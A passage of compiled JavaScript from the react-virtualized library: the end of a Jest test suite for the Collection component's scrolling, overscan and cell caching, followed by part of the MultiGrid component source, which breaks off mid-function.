        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      simulateScroll({
        collection: collection,
        scrollLeft: 0,
        scrollTop: 2
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: _TestData.SECTION_SIZE,
        clientWidth: _TestData.SECTION_SIZE * 2,
        scrollHeight: 4,
        scrollLeft: 0,
        scrollTop: 2,
        scrollWidth: 6
      });
    });
    it('should not allow negative scroll values', function () {
      var onScrollCalls = [];
      var collection = (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      simulateScroll({
        collection: collection,
        scrollLeft: -1,
        scrollTop: -1
      });
      expect(onScrollCalls.length).toEqual(1);
      expect(onScrollCalls[0].scrollLeft).toEqual(0);
      expect(onScrollCalls[0].scrollTop).toEqual(0);
    });
  });
  describe('cellGroupRenderer', function () {
    it('should use a custom :cellGroupRenderer if specified', function () {
      var cellGroupRendererCalled = 0;
      var cellGroupRendererParams;

      var cellRenderer = function cellRenderer(_ref5) {
        var index = _ref5.index,
            key = _ref5.key,
            style = _ref5.style;
        return React.createElement("div", {
          key: key,
          style: style
        }, index);
      };

      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellRenderer: cellRenderer,
        cellGroupRenderer: function cellGroupRenderer(params) {
          cellGroupRendererParams = params;
          cellGroupRendererCalled++;
          return [React.createElement("div", {
            key: "0"
          }, "Fake content")];
        }
      })));
      expect(cellGroupRendererCalled).toEqual(1);
      expect(cellGroupRendererParams.cellRenderer).toEqual(cellRenderer);
      expect((0, _typeof2["default"])(cellGroupRendererParams.cellSizeAndPositionGetter)).toEqual('function');
      compareArrays(cellGroupRendererParams.indices, [0, 1, 2, 3]);
    });
  });
  it('should pass the cellRenderer an :isScrolling flag when scrolling is in progress', function _callee(done) {
    var cellRendererCalls, cellRenderer, collection;
    return _regenerator["default"].async(function _callee$(_context) {
      while (1) {
        switch (_context.prev = _context.next) {
          case 0:
            cellRenderer = function _ref7(_ref6) {
              var index = _ref6.index,
                  isScrolling = _ref6.isScrolling,
                  key = _ref6.key,
                  style = _ref6.style;
              cellRendererCalls.push(isScrolling);
              return defaultCellRenderer({
                index: index,
                key: key,
                style: style
              });
            };

            cellRendererCalls = [];
            collection = (0, _TestUtils.render)(getMarkup({
              cellRenderer: cellRenderer
            }));
            expect(cellRendererCalls[0]).toEqual(false);
            cellRendererCalls.splice(0);
            simulateScroll({
              collection: collection,
              scrollTop: 1
            }); // Give React time to process the queued setState()

            _context.next = 8;
            return _regenerator["default"].awrap(new Promise(function (resolve) {
              return setTimeout(resolve, 1);
            }));

          case 8:
            expect(cellRendererCalls[0]).toEqual(true);
            done();

          case 10:
          case "end":
            return _context.stop();
        }
      }
    });
  });
  describe('horizontalOverscanSize and verticalOverscanSize', function () {
    it('should include the horizontal and vertical overscan size when rendering cells', function () {
      var indices;
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        },
        height: 1,
        horizontalOverscanSize: 2,
        sectionSize: 1,
        scrollLeft: 2,
        scrollTop: 2,
        width: 1,
        verticalOverscanSize: 1
      }));
      compareArrays(indices, [0, 2, 3, 4, 5, 6, 7, 9]);
    });
    it('should not exceed the top/left borders regardless of overscan size', function () {
      var indices;
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        },
        height: 2,
        horizontalOverscanSize: 1,
        sectionSize: 1,
        scrollLeft: 0,
        scrollTop: 0,
        width: 1,
        verticalOverscanSize: 2
      }));
      compareArrays(indices, [0, 4]);
    });
    it('should not exceed the bottom/right borders regardless of overscan size', function () {
      var indices;
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        },
        height: 2,
        horizontalOverscanSize: 1,
        sectionSize: 1,
        scrollLeft: 5,
        scrollTop: 2,
        width: 1,
        verticalOverscanSize: 2
      }));
      compareArrays(indices, [6, 7, 8, 9]);
    });
  });
  describe('cell caching', function () {
    it('should not cache cells if the Grid is not scrolling', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref8) {
        var isScrolling = _ref8.isScrolling,
            index = _ref8.index,
            key = _ref8.key,
            style = _ref8.style;
        cellRendererCalls.push({
          isScrolling: isScrolling,
          index: index
        });
        return defaultCellRenderer({
          index: index,
          key: key,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        scrollLeft: 0,
        scrollTop: 0
      };
      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(props)));
      expect(cellRendererCalls.length).toEqual(4);
      cellRendererCalls.forEach(function (call) {
        return expect(call.isScrolling).toEqual(false);
      });
      cellRendererCalls.splice(0);
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        foo: 'bar' // Force re-render

      })));
      expect(cellRendererCalls.length).toEqual(4);
      cellRendererCalls.forEach(function (call) {
        return expect(call.isScrolling).toEqual(false);
      });
    });
    it.skip('should cache a cell once it has been rendered while scrolling', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref9) {
        var isScrolling = _ref9.isScrolling,
            index = _ref9.index,
            key = _ref9.key,
            style = _ref9.style;
        cellRendererCalls.push({
          isScrolling: isScrolling,
          index: index
        });
        return defaultCellRenderer({
          index: index,
          key: key,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        scrollLeft: 0,
        scrollTop: 0
      };
      var collection = (0, _TestUtils.render)(getMarkup(props));
      expect(cellRendererCalls.length).toEqual(4);
      cellRendererCalls.forEach(function (call) {
        return expect(call.isScrolling).toEqual(false);
      }); // FIXME: simulate scroll is not triggering cells to render in cache
      // Scroll a little bit; newly-rendered cells will be cached.

      simulateScroll({
        collection: collection,
        scrollTop: 2
      });
      cellRendererCalls.splice(0); // At this point cells 4 and 5 have been rendered,
      // But cells 7, 8, and 9 have not.

      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        scrollLeft: 1,
        scrollTop: 3
      })));
      expect(cellRendererCalls.length).toEqual(3);
      cellRendererCalls.forEach(function (call) {
        return expect(call.isScrolling).toEqual(true);
      });
    });
    it('should clear cache once :isScrolling is false', function _callee2(done) {
      var cellRendererCalls, cellRenderer, props, collection;
      return _regenerator["default"].async(function _callee2$(_context2) {
        while (1) {
          switch (_context2.prev = _context2.next) {
            case 0:
              cellRenderer = function _ref11(_ref10) {
                var isScrolling = _ref10.isScrolling,
                    index = _ref10.index,
                    key = _ref10.key,
                    style = _ref10.style;
                cellRendererCalls.push({
                  isScrolling: isScrolling,
                  index: index
                });
                return defaultCellRenderer({
                  isScrolling: isScrolling,
                  index: index,
                  key: key,
                  style: style
                });
              };

              cellRendererCalls = [];
              props = {
                cellRenderer: cellRenderer,
                scrollLeft: 0,
                scrollTop: 0
              };
              collection = (0, _TestUtils.render)(getMarkup(props));
              simulateScroll({
                collection: collection,
                scrollTop: 1
              }); // Allow scrolling timeout to complete so that cell cache is reset

              _context2.next = 7;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 500);
              }));

            case 7:
              cellRendererCalls.splice(0);
              (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
                scrollTop: 1
              })));
              expect(cellRendererCalls.length).not.toEqual(0);
              done();

            case 11:
            case "end":
              return _context2.stop();
          }
        }
      });
    });
  }); // See issue #568 for more

  it('forceUpdate will also forceUpdate the inner CollectionView', function () {
    var cellRenderer = jest.fn();
    cellRenderer.mockImplementation(function (_ref12) {
      var key = _ref12.key;
      return React.createElement("div", {
        key: key
      });
    });
    var rendered = (0, _TestUtils.render)(getMarkup({
      cellRenderer: cellRenderer
    }));
    expect(cellRenderer).toHaveBeenCalled();
    cellRenderer.mockReset();
    rendered.forceUpdate();
    expect(cellRenderer).toHaveBeenCalled();
  });
});commonjs/MultiGrid/MultiGrid.js000064400000100542151677406000012537 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _objectWithoutProperties2 = _interopRequireDefault(require("@babel/runtime/helpers/objectWithoutProperties"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _reactLifecyclesCompat = require("react-lifecycles-compat");

var _CellMeasurerCacheDecorator = _interopRequireDefault(require("./CellMeasurerCacheDecorator"));

var _Grid = _interopRequireDefault(require("../Grid"));

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var SCROLLBAR_SIZE_BUFFER = 20;
/**
 * Renders 1, 2, or 4 Grids depending on configuration.
 * A main (body) Grid will always be rendered.
 * Optionally, 1-2 Grids for sticky header rows will also be rendered.
 * If no sticky columns, only 1 sticky header Grid will be rendered.
 * If sticky columns, 2 sticky header Grids will be rendered.
 */

var MultiGrid =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(MultiGrid, _React$PureComponent);

  function MultiGrid(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, MultiGrid);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(MultiGrid).call(this, props, context));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "state", {
      scrollLeft: 0,
      scrollTop: 0,
      scrollbarSize: 0,
      showHorizontalScrollbar: false,
      showVerticalScrollbar: false
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_deferredInvalidateColumnIndex", null);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_deferredInvalidateRowIndex", null);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_bottomLeftGridRef", function (ref) {
      _this._bottomLeftGrid = ref;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_bottomRightGridRef", function (ref) {
      _this._bottomRightGrid = ref;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_cellRendererBottomLeftGrid", function (_ref) {
      var rowIndex = _ref.rowIndex,
          rest = (0, _objectWithoutProperties2["default"])(_ref, ["rowIndex"]);
      var _this$props = _this.props,
          cellRenderer = _this$props.cellRenderer,
          fixedRowCount = _this$props.fixedRowCount,
          rowCount = _this$props.rowCount;

      if (rowIndex === rowCount - fixedRowCount) {
        return React.createElement("div", {
          key: rest.key,
          style: _objectSpread({}, rest.style, {
            height: SCROLLBAR_SIZE_BUFFER
          })
        });
      } else {
        return cellRenderer(_objectSpread({}, rest, {
          parent: (0, _assertThisInitialized2["default"])(_this),
          rowIndex: rowIndex + fixedRowCount
        }));
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_cellRendererBottomRightGrid", function (_ref2) {
      var columnIndex = _ref2.columnIndex,
          rowIndex = _ref2.rowIndex,
          rest = (0, _objectWithoutProperties2["default"])(_ref2, ["columnIndex", "rowIndex"]);
      var _this$props2 = _this.props,
          cellRenderer = _this$props2.cellRenderer,
          fixedColumnCount = _this$props2.fixedColumnCount,
          fixedRowCount = _this$props2.fixedRowCount;
      return cellRenderer(_objectSpread({}, rest, {
        columnIndex: columnIndex + fixedColumnCount,
        parent: (0, _assertThisInitialized2["default"])(_this),
        rowIndex: rowIndex + fixedRowCount
      }));
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_cellRendererTopRightGrid", function (_ref3) {
      var columnIndex = _ref3.columnIndex,
          rest = (0, _objectWithoutProperties2["default"])(_ref3, ["columnIndex"]);
      var _this$props3 = _this.props,
          cellRenderer = _this$props3.cellRenderer,
          columnCount = _this$props3.columnCount,
          fixedColumnCount = _this$props3.fixedColumnCount;

      if (columnIndex === columnCount - fixedColumnCount) {
        return React.createElement("div", {
          key: rest.key,
          style: _objectSpread({}, rest.style, {
            width: SCROLLBAR_SIZE_BUFFER
          })
        });
      } else {
        return cellRenderer(_objectSpread({}, rest, {
          columnIndex: columnIndex + fixedColumnCount,
          parent: (0, _assertThisInitialized2["default"])(_this)
        }));
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_columnWidthRightGrid", function (_ref4) {
      var index = _ref4.index;
      var _this$props4 = _this.props,
          columnCount = _this$props4.columnCount,
          fixedColumnCount = _this$props4.fixedColumnCount,
          columnWidth = _this$props4.columnWidth;
      var _this$state = _this.state,
          scrollbarSize = _this$state.scrollbarSize,
          showHorizontalScrollbar = _this$state.showHorizontalScrollbar; // An extra cell is added to the count
      // This gives the smaller Grid extra room for offset,
      // In case the main (bottom right) Grid has a scrollbar
      // If no scrollbar, the extra space is overflow:hidden anyway

      if (showHorizontalScrollbar && index === columnCount - fixedColumnCount) {
        return scrollbarSize;
      }

      return typeof columnWidth === 'function' ? columnWidth({
        index: index + fixedColumnCount
      }) : columnWidth;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScroll", function (scrollInfo) {
      var scrollLeft = scrollInfo.scrollLeft,
          scrollTop = scrollInfo.scrollTop;

      _this.setState({
        scrollLeft: scrollLeft,
        scrollTop: scrollTop
      });

      var onScroll = _this.props.onScroll;

      if (onScroll) {
        onScroll(scrollInfo);
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScrollbarPresenceChange", function (_ref5) {
      var horizontal = _ref5.horizontal,
          size = _ref5.size,
          vertical = _ref5.vertical;
      var _this$state2 = _this.state,
          showHorizontalScrollbar = _this$state2.showHorizontalScrollbar,
          showVerticalScrollbar = _this$state2.showVerticalScrollbar;

      if (horizontal !== showHorizontalScrollbar || vertical !== showVerticalScrollbar) {
        _this.setState({
          scrollbarSize: size,
          showHorizontalScrollbar: horizontal,
          showVerticalScrollbar: vertical
        });

        var onScrollbarPresenceChange = _this.props.onScrollbarPresenceChange;

        if (typeof onScrollbarPresenceChange === 'function') {
          onScrollbarPresenceChange({
            horizontal: horizontal,
            size: size,
            vertical: vertical
          });
        }
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScrollLeft", function (scrollInfo) {
      var scrollLeft = scrollInfo.scrollLeft;

      _this._onScroll({
        scrollLeft: scrollLeft,
        scrollTop: _this.state.scrollTop
      });
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScrollTop", function (scrollInfo) {
      var scrollTop = scrollInfo.scrollTop;

      _this._onScroll({
        scrollTop: scrollTop,
        scrollLeft: _this.state.scrollLeft
      });
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_rowHeightBottomGrid", function (_ref6) {
      var index = _ref6.index;
      var _this$props5 = _this.props,
          fixedRowCount = _this$props5.fixedRowCount,
          rowCount = _this$props5.rowCount,
          rowHeight = _this$props5.rowHeight;
      var _this$state3 = _this.state,
          scrollbarSize = _this$state3.scrollbarSize,
          showVerticalScrollbar = _this$state3.showVerticalScrollbar; // An extra cell is added to the count
      // This gives the smaller Grid extra room for offset,
      // In case the main (bottom right) Grid has a scrollbar
      // If no scrollbar, the extra space is overflow:hidden anyway

      if (showVerticalScrollbar && index === rowCount - fixedRowCount) {
        return scrollbarSize;
      }

      return typeof rowHeight === 'function' ? rowHeight({
        index: index + fixedRowCount
      }) : rowHeight;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_topLeftGridRef", function (ref) {
      _this._topLeftGrid = ref;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_topRightGridRef", function (ref) {
      _this._topRightGrid = ref;
    });
    var deferredMeasurementCache = props.deferredMeasurementCache,
        _fixedColumnCount = props.fixedColumnCount,
        _fixedRowCount = props.fixedRowCount;

    _this._maybeCalculateCachedStyles(true);

    if (deferredMeasurementCache) {
      _this._deferredMeasurementCacheBottomLeftGrid = _fixedRowCount > 0 ? new _CellMeasurerCacheDecorator["default"]({
        cellMeasurerCache: deferredMeasurementCache,
        columnIndexOffset: 0,
        rowIndexOffset: _fixedRowCount
      }) : deferredMeasurementCache;
      _this._deferredMeasurementCacheBottomRightGrid = _fixedColumnCount > 0 || _fixedRowCount > 0 ? new _CellMeasurerCacheDecorator["default"]({
        cellMeasurerCache: deferredMeasurementCache,
        columnIndexOffset: _fixedColumnCount,
        rowIndexOffset: _fixedRowCount
      }) : deferredMeasurementCache;
      _this._deferredMeasurementCacheTopRightGrid = _fixedColumnCount > 0 ? new _CellMeasurerCacheDecorator["default"]({
        cellMeasurerCache: deferredMeasurementCache,
        columnIndexOffset: _fixedColumnCount,
        rowIndexOffset: 0
      }) : deferredMeasurementCache;
    }

    return _this;
  }

  (0, _createClass2["default"])(MultiGrid, [{
    key: "forceUpdateGrids",
    value: function forceUpdateGrids() {
      this._bottomLeftGrid && this._bottomLeftGrid.forceUpdate();
      this._bottomRightGrid && this._bottomRightGrid.forceUpdate();
      this._topLeftGrid && this._topLeftGrid.forceUpdate();
      this._topRightGrid && this._topRightGrid.forceUpdate();
    }
    /** See Grid#invalidateCellSizeAfterRender */

  }, {
    key: "invalidateCellSizeAfterRender",
    value: function invalidateCellSizeAfterRender() {
      var _ref7 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref7$columnIndex = _ref7.columnIndex,
          columnIndex = _ref7$columnIndex === void 0 ? 0 : _ref7$columnIndex,
          _ref7$rowIndex = _ref7.rowIndex,
          rowIndex = _ref7$rowIndex === void 0 ? 0 : _ref7$rowIndex;

      this._deferredInvalidateColumnIndex = typeof this._deferredInvalidateColumnIndex === 'number' ? Math.min(this._deferredInvalidateColumnIndex, columnIndex) : columnIndex;
      this._deferredInvalidateRowIndex = typeof this._deferredInvalidateRowIndex === 'number' ? Math.min(this._deferredInvalidateRowIndex, rowIndex) : rowIndex;
    }
    /** See Grid#measureAllCells */

  }, {
    key: "measureAllCells",
    value: function measureAllCells() {
      this._bottomLeftGrid && this._bottomLeftGrid.measureAllCells();
      this._bottomRightGrid && this._bottomRightGrid.measureAllCells();
      this._topLeftGrid && this._topLeftGrid.measureAllCells();
      this._topRightGrid && this._topRightGrid.measureAllCells();
    }
    /** See Grid#recomputeGridSize */

  }, {
    key: "recomputeGridSize",
    value: function recomputeGridSize() {
      var _ref8 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref8$columnIndex = _ref8.columnIndex,
          columnIndex = _ref8$columnIndex === void 0 ? 0 : _ref8$columnIndex,
          _ref8$rowIndex = _ref8.rowIndex,
          rowIndex = _ref8$rowIndex === void 0 ? 0 : _ref8$rowIndex;

      var _this$props6 = this.props,
          fixedColumnCount = _this$props6.fixedColumnCount,
          fixedRowCount = _this$props6.fixedRowCount;
      var adjustedColumnIndex = Math.max(0, columnIndex - fixedColumnCount);
      var adjustedRowIndex = Math.max(0, rowIndex - fixedRowCount);
      this._bottomLeftGrid && this._bottomLeftGrid.recomputeGridSize({
        columnIndex: columnIndex,
        rowIndex: adjustedRowIndex
      });
      this._bottomRightGrid && this._bottomRightGrid.recomputeGridSize({
        columnIndex: adjustedColumnIndex,
        rowIndex: adjustedRowIndex
      });
      this._topLeftGrid && this._topLeftGrid.recomputeGridSize({
        columnIndex: columnIndex,
        rowIndex: rowIndex
      });
      this._topRightGrid && this._topRightGrid.recomputeGridSize({
        columnIndex: adjustedColumnIndex,
        rowIndex: rowIndex
      });
      this._leftGridWidth = null;
      this._topGridHeight = null;

      this._maybeCalculateCachedStyles(true);
    }
  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      var _this$props7 = this.props,
          scrollLeft = _this$props7.scrollLeft,
          scrollTop = _this$props7.scrollTop;

      if (scrollLeft > 0 || scrollTop > 0) {
        var newState = {};

        if (scrollLeft > 0) {
          newState.scrollLeft = scrollLeft;
        }

        if (scrollTop > 0) {
          newState.scrollTop = scrollTop;
        }

        this.setState(newState);
      }

      this._handleInvalidatedGridSize();
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate() {
      this._handleInvalidatedGridSize();
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props8 = this.props,
          onScroll = _this$props8.onScroll,
          onSectionRendered = _this$props8.onSectionRendered,
          onScrollbarPresenceChange = _this$props8.onScrollbarPresenceChange,
          scrollLeftProp = _this$props8.scrollLeft,
          scrollToColumn = _this$props8.scrollToColumn,
          scrollTopProp = _this$props8.scrollTop,
          scrollToRow = _this$props8.scrollToRow,
          rest = (0, _objectWithoutProperties2["default"])(_this$props8, ["onScroll", "onSectionRendered", "onScrollbarPresenceChange", "scrollLeft", "scrollToColumn", "scrollTop", "scrollToRow"]);

      this._prepareForRender(); // Don't render any of our Grids if there are no cells.
      // This mirrors what Grid does,
      // And prevents us from recording inaccurage measurements when used with CellMeasurer.


      if (this.props.width === 0 || this.props.height === 0) {
        return null;
      } // scrollTop and scrollLeft props are explicitly filtered out and ignored


      var _this$state4 = this.state,
          scrollLeft = _this$state4.scrollLeft,
          scrollTop = _this$state4.scrollTop;
      return React.createElement("div", {
        style: this._containerOuterStyle
      }, React.createElement("div", {
        style: this._containerTopStyle
      }, this._renderTopLeftGrid(rest), this._renderTopRightGrid(_objectSpread({}, rest, {
        onScroll: onScroll,
        scrollLeft: scrollLeft
      }))), React.createElement("div", {
        style: this._containerBottomStyle
      }, this._renderBottomLeftGrid(_objectSpread({}, rest, {
        onScroll: onScroll,
        scrollTop: scrollTop
      })), this._renderBottomRightGrid(_objectSpread({}, rest, {
        onScroll: onScroll,
        onSectionRendered: onSectionRendered,
        scrollLeft: scrollLeft,
        scrollToColumn: scrollToColumn,
        scrollToRow: scrollToRow,
        scrollTop: scrollTop
      }))));
    }
  }, {
    key: "_getBottomGridHeight",
    value: function _getBottomGridHeight(props) {
      var height = props.height;

      var topGridHeight = this._getTopGridHeight(props);

      return height - topGridHeight;
    }
  }, {
    key: "_getLeftGridWidth",
    value: function _getLeftGridWidth(props) {
      var fixedColumnCount = props.fixedColumnCount,
          columnWidth = props.columnWidth;

      if (this._leftGridWidth == null) {
        if (typeof columnWidth === 'function') {
          var leftGridWidth = 0;

          for (var index = 0; index < fixedColumnCount; index++) {
            leftGridWidth += columnWidth({
              index: index
            });
          }

          this._leftGridWidth = leftGridWidth;
        } else {
          this._leftGridWidth = columnWidth * fixedColumnCount;
        }
      }

      return this._leftGridWidth;
    }
  }, {
    key: "_getRightGridWidth",
    value: function _getRightGridWidth(props) {
      var width = props.width;

      var leftGridWidth = this._getLeftGridWidth(props);

      return width - leftGridWidth;
    }
  }, {
    key: "_getTopGridHeight",
    value: function _getTopGridHeight(props) {
      var fixedRowCount = props.fixedRowCount,
          rowHeight = props.rowHeight;

      if (this._topGridHeight == null) {
        if (typeof rowHeight === 'function') {
          var topGridHeight = 0;

          for (var index = 0; index < fixedRowCount; index++) {
            topGridHeight += rowHeight({
              index: index
            });
          }

          this._topGridHeight = topGridHeight;
        } else {
          this._topGridHeight = rowHeight * fixedRowCount;
        }
      }

      return this._topGridHeight;
    }
  }, {
    key: "_handleInvalidatedGridSize",
    value: function _handleInvalidatedGridSize() {
      if (typeof this._deferredInvalidateColumnIndex === 'number') {
        var columnIndex = this._deferredInvalidateColumnIndex;
        var rowIndex = this._deferredInvalidateRowIndex;
        this._deferredInvalidateColumnIndex = null;
        this._deferredInvalidateRowIndex = null;
        this.recomputeGridSize({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        this.forceUpdate();
      }
    }
    /**
     * Avoid recreating inline styles each render; this bypasses Grid's shallowCompare.
     * This method recalculates styles only when specific props change.
     */

  }, {
    key: "_maybeCalculateCachedStyles",
    value: function _maybeCalculateCachedStyles(resetAll) {
      var _this$props9 = this.props,
          columnWidth = _this$props9.columnWidth,
          enableFixedColumnScroll = _this$props9.enableFixedColumnScroll,
          enableFixedRowScroll = _this$props9.enableFixedRowScroll,
          height = _this$props9.height,
          fixedColumnCount = _this$props9.fixedColumnCount,
          fixedRowCount = _this$props9.fixedRowCount,
          rowHeight = _this$props9.rowHeight,
          style = _this$props9.style,
          styleBottomLeftGrid = _this$props9.styleBottomLeftGrid,
          styleBottomRightGrid = _this$props9.styleBottomRightGrid,
          styleTopLeftGrid = _this$props9.styleTopLeftGrid,
          styleTopRightGrid = _this$props9.styleTopRightGrid,
          width = _this$props9.width;
      var sizeChange = resetAll || height !== this._lastRenderedHeight || width !== this._lastRenderedWidth;
      var leftSizeChange = resetAll || columnWidth !== this._lastRenderedColumnWidth || fixedColumnCount !== this._lastRenderedFixedColumnCount;
      var topSizeChange = resetAll || fixedRowCount !== this._lastRenderedFixedRowCount || rowHeight !== this._lastRenderedRowHeight;

      if (resetAll || sizeChange || style !== this._lastRenderedStyle) {
        this._containerOuterStyle = _objectSpread({
          height: height,
          overflow: 'visible',
          // Let :focus outline show through
          width: width
        }, style);
      }

      if (resetAll || sizeChange || topSizeChange) {
        this._containerTopStyle = {
          height: this._getTopGridHeight(this.props),
          position: 'relative',
          width: width
        };
        this._containerBottomStyle = {
          height: height - this._getTopGridHeight(this.props),
          overflow: 'visible',
          // Let :focus outline show through
          position: 'relative',
          width: width
        };
      }

      if (resetAll || styleBottomLeftGrid !== this._lastRenderedStyleBottomLeftGrid) {
        this._bottomLeftGridStyle = _objectSpread({
          left: 0,
          overflowX: 'hidden',
          overflowY: enableFixedColumnScroll ? 'auto' : 'hidden',
          position: 'absolute'
        }, styleBottomLeftGrid);
      }

      if (resetAll || leftSizeChange || styleBottomRightGrid !== this._lastRenderedStyleBottomRightGrid) {
        this._bottomRightGridStyle = _objectSpread({
          left: this._getLeftGridWidth(this.props),
          position: 'absolute'
        }, styleBottomRightGrid);
      }

      if (resetAll || styleTopLeftGrid !== this._lastRenderedStyleTopLeftGrid) {
        this._topLeftGridStyle = _objectSpread({
          left: 0,
          overflowX: 'hidden',
          overflowY: 'hidden',
          position: 'absolute',
          top: 0
        }, styleTopLeftGrid);
      }

      if (resetAll || leftSizeChange || styleTopRightGrid !== this._lastRenderedStyleTopRightGrid) {
        this._topRightGridStyle = _objectSpread({
          left: this._getLeftGridWidth(this.props),
          overflowX: enableFixedRowScroll ? 'auto' : 'hidden',
          overflowY: 'hidden',
          position: 'absolute',
          top: 0
        }, styleTopRightGrid);
      }

      this._lastRenderedColumnWidth = columnWidth;
      this._lastRenderedFixedColumnCount = fixedColumnCount;
      this._lastRenderedFixedRowCount = fixedRowCount;
      this._lastRenderedHeight = height;
      this._lastRenderedRowHeight = rowHeight;
      this._lastRenderedStyle = style;
      this._lastRenderedStyleBottomLeftGrid = styleBottomLeftGrid;
      this._lastRenderedStyleBottomRightGrid = styleBottomRightGrid;
      this._lastRenderedStyleTopLeftGrid = styleTopLeftGrid;
      this._lastRenderedStyleTopRightGrid = styleTopRightGrid;
      this._lastRenderedWidth = width;
    }
  }, {
    key: "_prepareForRender",
    value: function _prepareForRender() {
      if (this._lastRenderedColumnWidth !== this.props.columnWidth || this._lastRenderedFixedColumnCount !== this.props.fixedColumnCount) {
        this._leftGridWidth = null;
      }

      if (this._lastRenderedFixedRowCount !== this.props.fixedRowCount || this._lastRenderedRowHeight !== this.props.rowHeight) {
        this._topGridHeight = null;
      }

      this._maybeCalculateCachedStyles();

      this._lastRenderedColumnWidth = this.props.columnWidth;
      this._lastRenderedFixedColumnCount = this.props.fixedColumnCount;
      this._lastRenderedFixedRowCount = this.props.fixedRowCount;
      this._lastRenderedRowHeight = this.props.rowHeight;
    }
  }, {
    key: "_renderBottomLeftGrid",
    value: function _renderBottomLeftGrid(props) {
      var enableFixedColumnScroll = props.enableFixedColumnScroll,
          fixedColumnCount = props.fixedColumnCount,
          fixedRowCount = props.fixedRowCount,
          rowCount = props.rowCount,
          hideBottomLeftGridScrollbar = props.hideBottomLeftGridScrollbar;
      var showVerticalScrollbar = this.state.showVerticalScrollbar;

      if (!fixedColumnCount) {
        return null;
      }

      var additionalRowCount = showVerticalScrollbar ? 1 : 0,
          height = this._getBottomGridHeight(props),
          width = this._getLeftGridWidth(props),
          scrollbarSize = this.state.showVerticalScrollbar ? this.state.scrollbarSize : 0,
          gridWidth = hideBottomLeftGridScrollbar ? width + scrollbarSize : width;

      var bottomLeftGrid = React.createElement(_Grid["default"], (0, _extends2["default"])({}, props, {
        cellRenderer: this._cellRendererBottomLeftGrid,
